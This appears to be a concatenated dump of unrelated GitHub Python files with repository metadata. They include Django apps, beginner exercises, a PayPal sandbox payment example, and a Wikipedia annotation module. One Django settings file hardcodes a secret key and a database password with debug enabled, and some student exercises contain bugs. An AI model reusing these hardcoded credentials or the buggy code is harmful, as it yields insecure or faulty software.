plt.subplot(2, 3, 3) plt.hist(resolution_met, sp.linspace(-100, 100, 50), facecolor='green', label='Res (MET)', alpha=0.5, histtype='stepfilled') plt.xlabel('Resolution') plt.legend(loc='best') plt.subplot(2, 3, 6) plt.scatter(t, met) plt.xlabel(target) plt.ylabel('MET') plt.show() if __name__ == "__main__": sys.exit(main(sys.argv))
33e17f6c58c9bf97e891655e6e19649fba2301be
2567d8fd264d3b2a696c080dfeddc0d26eb4587c
/userapp/views.py
a0ad31dd4b0a28b588ea96673df5dd05fff5dda7
[]
no_license
Alex87Rt/rest_dj
66a3be36088cc12f774874eb2a215ff83a876ccd
a376487dfc299784ee473334ba080004efb8fc6b
refs/heads/master
2023-08-19T11:45:06.269249
2021-09-27T19:25:27
2021-09-27T19:25:27
411,015,823
0
0
null
2021-10-03T20:56:39
2021-09-27T19:24:50
Python
UTF-8
Python
false
false
393
py
from rest_framework.viewsets import GenericViewSet from rest_framework.mixins import ListModelMixin, RetrieveModelMixin, UpdateModelMixin from userapp.models import User from userapp.serializers import UserModelSerializer class UserModelViewSet(ListModelMixin, RetrieveModelMixin, UpdateModelMixin, GenericViewSet): queryset = User.objects.all() serializer_class = UserModelSerializer
25da8a1b86f315f9b179253954558304e23b3fa3
645bc34b4f22dcd372b6e84f3cc237039c451b74
/Pyon exercicios/Exercicios/074.py
5c2f218e0d55259d99cd29dbf8c258d76edbe780
[ "MIT" ]
permissive
alefbispo/Exercicios-do-curso-de-Python
b778c1619e2c3cc594ea909673b0c3756ec45f7a
16cd569ab16542135b834ac8d0cfb0ae84836d53
refs/heads/main
2022-12-25T09:22:42.401244
2020-10-06T21:20:44
2020-10-06T21:20:44
301,856,620
0
0
null
null
null
null
UTF-8
Python
false
false
407
py
'''Crie um programa que gera 5 numeros aleatorios e guarda em uma tupla depois mostre a lsita de numeros gerados indique o menor e o maior''' from random import randint numeros = (randint(1, 10), randint(1, 10), randint(1, 10), randint(1, 10), randint(1, 10)) print('A lista é : ', end='') for x in numeros: print(x, end=' ') print(f'\nE o maior numero é {max(numeros)} e o menor é {min(numeros)}')
bde78a4c974e13d854f32ef45423cc476e96523a
a29f151197c85dee8f05493a8fe697549391fef2
/nr07_Petle/nr07_DebuggowanieSkryptu_LAB.py
c31a383e61c002aad1b7ecb3045cae9e61d76c9f
[]
no_license
sswietlik/helloPython
18a9cd3bb6ab9276415cbb018c9153c99abcb2f0
d207567e7d5eabd9d7eef8c72538453ca3382021
refs/heads/master
2022-11-26T20:15:07.723910
2020-08-11T06:44:34
2020-08-11T06:44:34
261,168,610
0
0
null
null
null
null
UTF-8
Python
false
false
327
py
print('Zad 1') number = 1 previus_number = 0 while number < 50: print(number + previus_number) previus_number = number number = number + 1 print() print('Zad 2') print() text = '' number = 10 condition = True while condition: text += 'x' print(text) if len(text) > number: condition = False
0b6170d122be14be89e9be9a761532cbdecb8118
2eecff5e4ab798511e153d81d7a7ad4c4f176c20
/applicationBook/models.py
7ce1468cf1a47aa5fee1b3154b253defa17fc085
[]
no_license
motovotcazsvs/projectBook
b915f62527903656eabdacc0bae2e09440466253
ed4a5460e717d88534800a29bab499ef339776cc
refs/heads/main
2023-06-03T04:47:53.254889
2021-06-17T19:40:03
2021-06-17T19:40:03
377,943,370
0
0
null
null
null
null
UTF-8
Python
false
false
1,675
py
import datetime from django.db import models from django.utils import timezone from django.contrib.auth.models import User from django.utils.safestring import mark_safe class Book(models.Model): #id = models.AutoField(primary_key=True) title_book = models.CharField("Название книги", max_length = 100) author_name = models.CharField("Автор", max_length = 100, default = '') description_book = models.CharField("описание книги", max_length = 1000) publication_date_book = models.DateTimeField("дата публикации") image_book = models.ImageField(blank = True, upload_to = 'image/', verbose_name = 'изображение') pdf_book = models.FileField(upload_to = 'pdf/', verbose_name = 'ссылка pdf', default = '') def __str__(self): return self.title_book def adminShowImage(self): if self.image_book: return mark_safe(u'<a href="{0}" target="_blank"><img src="{0}" width="100"/></a>'.format(self.image_book.url)) else: return '(Нет изображения)' adminShowImage.short_description = 'Изображение' adminShowImage.allow_tags = True def adminShowPdf(self): if self.pdf_book: return mark_safe(u'<a href="{0}" target="_blank"><img src="{0}" width="100"/></a>'.format(self.pdf_book.url)) else: return '(Нет файла pdf)' adminShowPdf.short_description = 'файл pdf' adminShowPdf.allow_tags = True def delete(self, *args, **kwargs): self.pdf_book.delete() self.image_book.delete() super().delete(*args, **kwargs)
633d256d2a05561a0b486052b94ba02dc527c64e
4ddec831379d52e507d8c3a3cf8d520b63c38688
/venv/bin/python-config
8fc7f4eb52b5531e398d65b5f65db4642f5f8b5a
[]
no_license
nuriahsan/nwh87
0a88487ccde459df85d5ee6f4f1b170910e76467
483e12b97a8bb7b3d6ca00348f2e4873ec0aef15
refs/heads/master
2021-03-19T15:32:35.429371
2017-12-16T08:36:34
2017-12-16T08:36:34
114,441,286
0
0
null
null
null
null
UTF-8
Python
false
false
2,345
#!/home/itsolution/nwh87/venv/bin/python import sys import getopt import sysconfig valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags', 'ldflags', 'help'] if sys.version_info >= (3, 2): valid_opts.insert(-1, 'extension-suffix') valid_opts.append('abiflags') if sys.version_info >= (3, 3): valid_opts.append('configdir') def exit_with_usage(code=1): sys.stderr.write("Usage: {0} [{1}]\n".format( sys.argv[0], '|'.join('--'+opt for opt in valid_opts))) sys.exit(code) try: opts, args = getopt.getopt(sys.argv[1:], '', valid_opts) except getopt.error: exit_with_usage() if not opts: exit_with_usage() pyver = sysconfig.get_config_var('VERSION') getvar = sysconfig.get_config_var opt_flags = [flag for (flag, val) in opts] if '--help' in opt_flags: exit_with_usage(code=0) for opt in opt_flags: if opt == '--prefix': print(sysconfig.get_config_var('prefix')) elif opt == '--exec-prefix': print(sysconfig.get_config_var('exec_prefix')) elif opt in ('--includes', '--cflags'): flags = ['-I' + sysconfig.get_path('include'), '-I' + sysconfig.get_path('platinclude')] if opt == '--cflags': flags.extend(getvar('CFLAGS').split()) print(' '.join(flags)) elif opt in ('--libs', '--ldflags'): abiflags = getattr(sys, 'abiflags', '') libs = ['-lpython' + pyver + abiflags] libs += getvar('LIBS').split() libs += getvar('SYSLIBS').split() # add the prefix/lib/pythonX.Y/config dir, but only if there is no # shared library in prefix/lib/. if opt == '--ldflags': if not getvar('Py_ENABLE_SHARED'): libs.insert(0, '-L' + getvar('LIBPL')) if not getvar('PYTHONFRAMEWORK'): libs.extend(getvar('LINKFORSHARED').split()) print(' '.join(libs)) elif opt == '--extension-suffix': ext_suffix = sysconfig.get_config_var('EXT_SUFFIX') if ext_suffix is None: ext_suffix = sysconfig.get_config_var('SO') print(ext_suffix) elif opt == '--abiflags': if not getattr(sys, 'abiflags', None): exit_with_usage() print(sys.abiflags) elif opt == '--configdir': print(sysconfig.get_config_var('LIBPL'))
17d28bd75b860776d0eaa30ce349594a99dcc772
c2c86fc83b4053d360c2825e31837c1bdfe65626
/Instrumentos/Codigos/deprecated/Q4/src/models/Issue.py
abf5fbb25c1693101061064a2afa8c8447a264f5
[ "CC-BY-4.0" ]
permissive
aylton-almeida/TIS6
f098883aebb3e9b4bf73d91ab660adf08a94eb58
8072b3f868b87fd92764850c9ab37f2600b4fb4e
refs/heads/master
2023-06-05T05:53:56.166432
2021-06-02T00:22:34
2021-06-02T00:22:34
380,529,706
0
0
null
null
null
null
UTF-8
Python
false
false
732
py
from __future__ import annotations from pandas.core import series class Issue: cursor: str id: str state: str def __init__(self, data: dict) -> None: self.cursor = data.get('cursor') self.id = data.get('id') self.state = data.get('state') @staticmethod def from_github(data: dict) -> Issue: node = data.get('node') return Issue({ 'cursor': data.get('cursor'), 'id': node.get('id'), 'state': node.get('state'), }) @staticmethod def from_dataframe(data: series) -> Issue: return Issue({ 'cursor': data['cursor'], 'id': data['id'], 'state': data['state'], })
c1e94ba5f65563136567f3e7a0e4959ef0888379
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/443/usersdata/299/100806/submittedfiles/matriz1.py
bcd39c701621720ce81cda93ee4390016c4cb975
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
287
py
# -*- coding: utf-8 -*- m=int(input('')) n=int(input('')) matriz=[] for i in range(0,m,1): linha=[] for j in range(0,n,1): linha.append(int(input(''))) matriz.append(linha) print(matriz) espelho=[] for i in range(m,-1,-1): espelho.append(matriz[i]) print(espelho)
264a5687665c41beae850eadd61b1e7c1b06e832
cc04d19a4b6ebe8c16305dc5b738f011449fd5a4
/Data Science/Formação Cientista de Dados com Python e R/Séries Temporais/decomposicao.py
b0c3695c39132fef17fef280b828669a6b1f664d
[]
no_license
souzag/D.S.-Python
6851e413890948b5bcf411d394a4620a850b1e07
82570883872dd43e788f624e3a95f13d4a4d95ef
refs/heads/master
2022-01-27T22:49:32.662512
2022-01-10T18:38:20
2022-01-10T18:38:20
224,016,344
0
0
null
null
null
null
UTF-8
Python
false
false
987
py
import pandas as pd import matplotlib.pylab as plt from statsmodels.tsa.seasonal import seasonal_decompose base = pd.read_csv('dados/AirPassengers.csv') dateparse = lambda dates: pd.datetime.strptime(dates, '%Y-%m') base = pd.read_csv('dados/AirPassengers.csv', parse_dates = ['Month'], index_col = 'Month', date_parser = dateparse) ts = base['#Passengers'] plt.plot(ts) decomposicao = seasonal_decompose(ts) tendencia = decomposicao.trend sazonal = decomposicao.seasonal aleatorio = decomposicao.resid plt.plot(sazonal) plt.plot(tendencia) plt.plot(aleatorio) plt.subplot(4, 1, 1) plt.plot(ts, label = 'Original') plt.legend(loc = 'best') plt.subplot(4, 1, 2) plt.plot(tendencia, label = 'Tendência') plt.legend(loc = 'best') plt.subplot(4, 1, 3) plt.plot(sazonal, label = 'Sazonalidade') plt.legend(loc = 'best') plt.subplot(4, 1, 4) plt.plot(aleatorio, label = 'Aleatório') plt.legend(loc = 'best') plt.tight_layout()
c29cdddd2bfb93b1f1e7e7bdd3c621830b504ef2
08ceef976ba0c26baba4d789efa6c3ad14f5a92b
/alot.py
01a4016e710b3c4fcea742951407c782e2f54264
[]
no_license
nCrazed/thealot_heroku
b3a775f1519cffbcb0525a3e2c8e2b7729e3033e
4cd402809d67c8df4a4824c4af9a995351602e1b
refs/heads/master
2016-09-06T18:16:46.080386
2014-02-08T11:17:06
2014-02-08T11:17:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
441
py
import json import os from thealot import TheAlot config = { "server" : "irc.quakenet.org", "port" : 6667, "channel" : "#TheAlot", "nickname" : "HerokuAlot", "prefix" : "!", "database" : os.getenv("DATABASE_URL"), "plugins" : [ "quote", "links", "alot", "excuse", ] } with open('config.json', 'w') as f: json.dump(config, f) bot = TheAlot() bot.start()
2cfd471ac0a96cad4ce6af0b515c10f6626831e4
7974ec0bfb1d1762bc0d6cb661f9a8717c769ff2
/config.py
313c059c72d18d18a768295fea8ed03e3e7d90d8
[]
no_license
codingdojo-projects-algos-0419/CampaignTracker
e2e1fbc7f7f940d01ee276ae41d4444b2e38f96d
fe7f5addc72262dd3e244783a4a9d3c7a425ce4f
refs/heads/master
2021-06-17T04:05:40.401474
2019-06-24T22:34:40
2019-06-24T22:34:40
179,190,866
0
0
null
2021-03-20T01:13:58
2019-04-03T02:00:15
Python
UTF-8
Python
false
false
455
py
from flask import Flask from flask_bcrypt import Bcrypt from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate from flask_marshmallow import Marshmallow app = Flask(__name__) app.secret_key = "Skyrim is for the Nords" app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///campaign_tracker.db" app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False bcrypt = Bcrypt(app) db = SQLAlchemy(app) migrate = Migrate(app, db) ma = Marshmallow(app)
0c6e67e73b53b44b75f37b93ef76aabba029dc38
59da6ae08de1025bafffd2d525890c7356989c83
/0x08-python-more_classes/0-rectangle.py
b29deffa2e968a6ebc3fbc31f481e56836257563
[]
no_license
mittsahl/holbertonschool-higher_level_programming
e0b797b6bac52f099e3379d3d36da7a425037279
c93f5b5982bbc632d19c513117025a8eae9a1648
refs/heads/master
2023-03-18T21:02:25.636186
2021-03-03T18:58:18
2021-03-03T18:58:18
319,373,187
0
0
null
null
null
null
UTF-8
Python
false
false
119
py
#!/usr/bin/python3 """ as of now empty rectangle class """ class Rectangle: """ the rectangle class """ pass
134c95696c7c5794d06cd574a9ce55075d6995a9
516014e56272bee587fc3143b1f76de9e1d40e98
/ecommerce/views.py
35ba58529c03724472adbab4c674fb76d61d3327
[]
no_license
JoulesCH/ecommerce
a9428ef84b148cc1e114651c78cab9c01927cdc8
c3cb25ab9ede5bf7adb0189a86194953eac969f1
refs/heads/master
2023-04-14T13:59:50.783597
2021-04-24T17:48:24
2021-04-24T17:48:24
358,467,565
0
0
null
null
null
null
UTF-8
Python
false
false
634
py
from django.shortcuts import render from django.http import HttpResponse from products.models import Product def home(request): principal_categories = ["temporada", "hombre", "mujer"] products = Product.objects.all() context = { 'products': products, 'p_categories': principal_categories, 'inicio':'active' } try: user = request.session['username'] except: pass else: context['username'] = user return render(request, 'home/home.html', context) def prueba(request): print(request.user.cart.ide) return render(request, 'pruebas.html')
07158f94f5a82ff2bac275c772cf38aac904688e
141b42d9d72636c869ff2ce7a2a9f7b9b24f508b
/myvenv/Lib/site-packages/graphql_jwt/__init__.py
819f022ae38a37427762722a570444e64a2871f4
[ "BSD-3-Clause" ]
permissive
Fa67/saleor-shop
105e1147e60396ddab6f006337436dcbf18e8fe1
76110349162c54c8bfcae61983bb59ba8fb0f778
refs/heads/master
2021-06-08T23:51:12.251457
2018-07-24T08:14:33
2018-07-24T08:14:33
168,561,915
1
0
BSD-3-Clause
2021-04-18T07:59:12
2019-01-31T17:00:39
Python
UTF-8
Python
false
false
244
py
from . import relay from .mutations import ( JSONWebTokenMutation, ObtainJSONWebToken, Verify, Refresh, ) __all__ = [ 'relay', 'JSONWebTokenMutation', 'ObtainJSONWebToken', 'Verify', 'Refresh', ] __version__ = '0.1.9'
e666f5dc1d4d270422e3230f0bd3998bdcdfb9fe
38e3f2f9dab4c8b51fd5de9be82cebc3c12e5513
/ch04/simple-payment-example/main.py
50a0cfcd6187bbee44eadfc5cfa5b531c701e127
[]
no_license
Web5design/PayPal-APIs-Up-and-Running
a012e74900941d81ee3eaaf7ef9a7401e92f81ee
495e757bc20484262e5dcc2a95724d7918c02770
refs/heads/master
2021-01-20T01:38:29.900850
2012-02-01T07:48:17
2012-02-01T07:48:17
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,667
py
#!/usr/bin/env python """ A minimal GAE application that makes an Adaptive API request to PayPal and parses the result. Fill in your own 3 Token Credentials and sample account information from your own sandbox account """ import random from google.appengine.ext import webapp from google.appengine.ext.webapp import util from google.appengine.api import urlfetch from google.appengine.api import memcache from django.utils import simplejson as json # Replace these values with your own 3-Token credentials and a sample receiver # who collects the funds to run this sample code in the developer sandbox user_id = "XXX" password = "XXX" signature = "XXX" receiver = "XXX" class MainHandler(webapp.RequestHandler): # Helper function to execute requests with appropriate headers def _request(self, url, params): # standard Adaptive Payments headers headers = { 'X-PAYPAL-SECURITY-USERID' : user_id, 'X-PAYPAL-SECURITY-PASSWORD' : password, 'X-PAYPAL-SECURITY-SIGNATURE' : signature, 'X-PAYPAL-REQUEST-DATA-FORMAT' : 'JSON', 'X-PAYPAL-RESPONSE-DATA-FORMAT' : 'JSON', 'X-PAYPAL-APPLICATION-ID' : 'APP-80W284485P519543T' } return urlfetch.fetch( url, payload = json.dumps(params), method=urlfetch.POST, validate_certificate=True, deadline=10, # seconds headers=headers ) def get(self, mode=""): # /status - executes PaymentDetails when PayPal redirects back to this app after payment approval if mode == "status": payKey = memcache.get(self.request.get('sid')) params = { 'requestEnvelope' : {'errorLanguage' : 'en_US', 'detailLevel' : 'ReturnAll'}, 'payKey' : payKey } result = self._request('https://svcs.sandbox.paypal.com/AdaptivePayments/PaymentDetails', params) response = json.loads(result.content) if result.status_code == 200: # OK # Convert back to indented JSON and display it pretty_json = json.dumps(response,indent=2) self.response.out.write('<pre>%s</pre>' % (pretty_json,)) else: self.response.out.write('<pre>%s</pre>' % (json.dumps(response,indent=2),)) else: # / (application root) - executed when app loads and initiates a Pay request amount = 10.00 # A cheap session implementation that's leveraged in order to lookup the payKey # from the Pay API and execute PaymentDetails when PayPal redirects back to /status sid = str(random.random())[5:] + str(random.random())[5:] + str(random.random())[5:] return_url = self.request.host_url + "/status" + "?sid=" + sid cancel_url = return_url redirect_url = "https://www.sandbox.paypal.com/cgi-bin/webscr?cmd=_ap-payment&paykey=" params = { 'requestEnvelope' : {'errorLanguage' : 'en_US', 'detailLevel' : 'ReturnAll'}, 'actionType' : 'PAY', 'receiverList' : { 'receiver' : [ {'email' : receiver, 'amount' : amount} ], }, 'currencyCode' : 'USD', 'memo' : 'Simple payment example.', 'cancelUrl' : cancel_url, 'returnUrl' : return_url, } result = self._request('https://svcs.sandbox.paypal.com/AdaptivePayments/Pay', params) response = json.loads(result.content) if result.status_code == 200: # OK # Convert back to indented JSON and inject a hyperlink to kick off payment approval pretty_json = json.dumps(response,indent=2) pretty_json = pretty_json.replace(response['payKey'], '<a href="%s%s" target="_blank">%s</a>' % (redirect_url, response['payKey'], response['payKey'],)) memcache.set(sid, response['payKey'], time=60*10) # seconds self.response.out.write('<pre>%s</pre>' % (pretty_json,)) else: self.response.out.write('<pre>%s</pre>' % (json.dumps(response,indent=2),)) def main(): application = webapp.WSGIApplication([('/', MainHandler), ('/(status)', MainHandler)], debug=True) util.run_wsgi_app(application) if __name__ == '__main__': main()
f499fdcb4f0709533b24228b02f3caa54d6bc004
5a2390789b4e4affbc20bbdfd61a22360701ce26
/wikiscout/annotation.py
b55c73d392fd67ced74c12a6a2b3c766cbc96bac
[]
no_license
alvaromorales/wikiscout
1db0a060f7372a703c918c085f47ff8a74fcb439
0f72da459bf84f50045fd4ac867a6f87048059c2
refs/heads/master
2021-01-13T02:10:45.146992
2014-07-29T04:15:15
2014-07-29T04:15:15
14,383,870
4
0
null
null
null
null
UTF-8
Python
false
false
4,870
py
import re import logging import wikikb import tokenize from nltk.corpus import stopwords from unidecode import unidecode logger = logging.getLogger(__name__) class ObjectNotFoundException(Exception): pass class ObjectSymbolNotFoundException(Exception): pass # Annotation Generation methods def replace_title(title, symbol, tokenization): title_possessive = title + '\'s' ok = False for i, token in enumerate(tokenization.tokens): if token.value == title: tokenization.tokens[i] = tokenization.replace_token(token, symbol) ok = True elif token.value == title_possessive: tokenization.tokens[i] = tokenization.replace_token(token, symbol + '\'s') ok = True return ok def replace_pronoun(object, symbol, tokenization): token = tokenization.tokens[0] if token.value in ['He', 'She', 'It', 'They']: tokenization.tokens[0] = tokenization.replace_token(token, symbol) return True if token.value in ['His', 'Her', 'Its', 'Their']: tokenization.tokens[0] = tokenization.replace_token(token, symbol + '\'s') return True return False def replace_synonyms(object, symbol, tokenization): synonyms = wikikb.get_synonyms(object) if synonyms is None or len(synonyms) == 0: return False ok = False for i, token in enumerate(tokenization.tokens): for s in synonyms: if token.value == s: tokenization.tokens[i] = tokenization.replace_token(token, symbol) ok = True elif token.value == s + '\'s': tokenization.tokens[i] = tokenization.replace_token( token, '%s\'s' % symbol) ok = True return ok def replace_object(object, symbol, tokenization): ok = replace_title(object, symbol, tokenization) for f in [replace_pronoun, replace_synonyms]: if ok: break ok = f(object, symbol, tokenization) return ok def replace_proper_nouns(object, tokenization): ok = False for i, t in enumerate(tokenization.tokens): if not t.value[0].isupper() or t.value.lower() in \ stopwords.words('english'): continue possessive = re.search(r'(.*?)\'s$', t.value) if possessive: noun = possessive.group(1) cls = wikikb.get_class(noun) if cls: tokenization.tokens[i] = tokenization.replace_token( t, 'any-%s\'s' % cls) ok = True else: title = wikikb.get_synonym_title(noun, object) if title: cls = wikikb.get_class(title) if cls: tokenization.tokens[i] = tokenization.replace_token( t, 'any-%s\'s' % cls) ok = True else: logging.debug('Could not find a matching symbol for %s' % t.value) else: logging.debug('Could not find a matching symbol for %s' % t.value) else: cls = wikikb.get_class(t.value) if cls: tokenization.tokens[i] = tokenization.replace_token( t, 'any-%s' % cls) ok = True else: title = wikikb.get_synonym_title(t.value, object) if title: cls = wikikb.get_class(title) if cls: tokenization.tokens[i] = tokenization.replace_token( t, 'any-%s' % cls) ok = True else: logging.debug('Could not find a matching symbol for %s' % t.value) else: logging.debug('Could not find a matching symbol for %s' % t.value) return ok def annotate(sentence, object): sentence = unidecode(unicode(sentence)) object = unidecode(unicode(object)) cls = wikikb.get_class(object) if not cls: raise ObjectSymbolNotFoundException( "Could not generate a matching symbol for object \"%s\"" % object) symbol = 'any-%s' % cls tokenization = tokenize.tokenize(sentence)[0] logger.info('Tokenized as %s' % [t.value for t in tokenization.tokens]) if replace_object(object, symbol, tokenization): replace_proper_nouns(object, tokenization) return tokenization else: raise ObjectNotFoundException("Could not find object \"%s\" in \"%s\"" % (object, sentence))
[ "alvarom@f1b2aeda-bd07-0410-ad1a-e603d8ac5cf8" ]
alvarom@f1b2aeda-bd07-0410-ad1a-e603d8ac5cf8
1e299f15e93636a48838e40218e29326b88193af
a7dba0110725eda866598a483bff2ff0328a5b76
/crm/main/models.py
d9a38611ac24f673230aa0972e67921c2abc8ff8
[]
no_license
jetkokos/bar_crm
b0e650fd09f96e2e118ca9823d1a51520b8baf1c
2b530398f9846b99cd6e1cc80a7ec6a34efda368
refs/heads/master
2022-12-02T00:10:00.582041
2020-08-10T09:56:05
2020-08-10T09:56:05
286,426,226
0
0
null
null
null
null
UTF-8
Python
false
false
1,019
py
from django.db import models from django.contrib.auth.models import User # from datetime import date # Create your models here. class Report(models.Model): date = models.DateField(unique=True) created_by = models.ForeignKey(User, on_delete=models.CASCADE) cash_amount = models.FloatField() card_amount = models.FloatField() cashbox_morning = models.FloatField() cashbox_evening = models.FloatField() cashbox_cash_added = models.FloatField(default=0) expense_cash = models.FloatField(blank=True,default=0) reason = models.CharField(max_length=300, blank=True) def cashbox_difference(self): return (self.cashbox_evening - (self.cashbox_morning + self.cash_amount - self.expense_cash + self.cashbox_cash_added)) def summ_cash_and_card_proceed(self): return (self.cash_amount + self.card_amount) # def today_check(self): # return date.today() == self.date def __str__(self): return str(self.date) + ' ' + str(self.created_by)
836b040e3b5aced9acf67551d4a1028dfd7d51be
3940b4a507789e1fbbaffeb200149aee215f655a
/lc/review_832.FlippingImage.py
2cd9d7365186d351732cd500abb08e980ee7063b
[]
no_license
akimi-yano/algorithm-practice
15f52022ec79542d218c6f901a54396a62080445
1abc28919abb55b93d3879860ac9c1297d493d09
refs/heads/master
2023-06-11T13:17:56.971791
2023-06-10T05:17:56
2023-06-10T05:17:56
239,395,822
0
0
null
null
null
null
UTF-8
Python
false
false
1,667
py
# 832. Flipping an Image # Easy # 1071 # 165 # Add to List # Share # Given a binary matrix A, we want to flip the image horizontally, then invert it, and return the resulting image. # To flip an image horizontally means that each row of the image is reversed. For example, flipping [1, 1, 0] horizontally results in [0, 1, 1]. # To invert an image means that each 0 is replaced by 1, and each 1 is replaced by 0. For example, inverting [0, 1, 1] results in [1, 0, 0]. # Example 1: # Input: [[1,1,0],[1,0,1],[0,0,0]] # Output: [[1,0,0],[0,1,0],[1,1,1]] # Explanation: First reverse each row: [[0,1,1],[1,0,1],[0,0,0]]. # Then, invert the image: [[1,0,0],[0,1,0],[1,1,1]] # Example 2: # Input: [[1,1,0,0],[1,0,0,1],[0,1,1,1],[1,0,1,0]] # Output: [[1,1,0,0],[0,1,1,0],[0,0,0,1],[1,0,1,0]] # Explanation: First reverse each row: [[0,0,1,1],[1,0,0,1],[1,1,1,0],[0,1,0,1]]. # Then invert the image: [[1,1,0,0],[0,1,1,0],[0,0,0,1],[1,0,1,0]] # Notes: # 1 <= A.length = A[0].length <= 20 # 0 <= A[i][j] <= 1 # This solution works ! class Solution: def flipAndInvertImage(self, A: List[List[int]]) -> List[List[int]]: ROW = len(A) COL = len(A[0]) for row in range(ROW): for col in range(COL//2): A[row][col], A[row][COL-1-col] = A[row][COL-1-col], A[row][col] for row in range(ROW): for col in range(COL): A[row][col] ^= 1 return A # This solution works ! - 1 liner class Solution: def flipAndInvertImage(self, A: List[List[int]]) -> List[List[int]]: return [[col^1 for col in reversed(row)] for row in A]
42465f879882e1d5f08855c795d61d43a6aa2c48
f9e54f672768dc607131ba00881b2419d321f599
/Desafio 43.py
2aab5096755d7e7c0a6325342b80b33b89c19f0f
[]
no_license
fernandorssa/CeV_Python_Exercises
60937409f72076d173e4f70c69966a667f6f1be9
54e699bc06838976028327b85fd60b52501cc1e4
refs/heads/master
2020-09-10T05:51:02.485894
2019-11-14T10:40:18
2019-11-14T10:40:18
221,664,955
0
0
null
null
null
null
UTF-8
Python
false
false
617
py
peso = float(input('Digite o seu peso: ')) altura = float(input('Digite a sua altura: ')) imc = peso / (altura * altura) print('') print('O seu IMC é de {:.2f}'.format(imc)) print('') if imc < 18.5: print('FERNANDA? BETA? Você está abaixo do peso. Quer uma paçoca?') elif imc >= 18.5 and imc < 25: print('Seu peso é ideal. PARABÉNS') elif imc >= 25 and imc < 30: print('Você está com sobrepeso') elif imc >= 30 and imc < 40: print('OBESIDADE!!!! VAI FAZER ACADEMIA, PORRA!!!!!') else: print('OBESO MÓRBIDO, CARALHOOOOOOO!!!!!!!!!!!!!') print('') print('Tenha um bom dia =)') print('')
0b704ba5ab2e27ba3d5a3622b75cc91dcaae62a1
5d5463545f2dca259b6aeec2cc1dcaa04d47d518
/tribune/settings.py
d1e2924de818da30068e31df0c74fbe53e2b5058
[]
no_license
umurangamirwa/Django_Admin1
fda88a36fd41e23a3f8fa622519a111f42f91145
7c00a2aa4ef18d978d67806f525d2aec44c94ef1
refs/heads/master
2020-04-28T16:03:28.506832
2019-03-13T10:23:26
2019-03-13T10:23:26
175,397,310
0
0
null
null
null
null
UTF-8
Python
false
false
3,524
py
""" Django settings for tribune project. Generated by 'django-admin startproject' using Django 1.11. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'ocrflyk0-m9utmyt@(hv2t^ktsr_ivvgq2c=uzea(bd20jucju' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'bootstrap3', 'news.apps.NewsConfig', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'tribune.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', 'django.template.context_processors.media', ], }, }, ] WSGI_APPLICATION = 'tribune.wsgi.application' # Database # https://docs.djangoproject.com/en/1.11/ref/settings/#databases # DATABASES = { # 'default': { # 'ENGINE': 'django.db.backends.sqlite3', # 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), # } # } # Password validation # https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.11/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'Africa/Kigali' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.11/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS = [ os.path.join(BASE_DIR, "static"), ] DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql', 'NAME': 'tribune', 'USER': 'wecode', 'PASSWORD':'etretr39', } } MEDIA_URL = '/media/' MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
46a3a35f2d53b4bd0be67f8c736f96b172e90048
c64bb34a3dde14d3c9bf813bde414a7b3f10611d
/om_account_accountant/ommat_catalogue/models/__init__.py
adc746cc6108d93aeb7d5af1bfe8855fcc16cab8
[]
no_license
sm2x/my_work
ebf2e1abd06191ee59b0d82a23534274a81a3195
efc469aee4cd20b038d48d4c09f8257f3f04ba1c
refs/heads/master
2021-01-07T20:41:45.254025
2020-02-12T16:02:46
2020-02-12T16:02:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
346
py
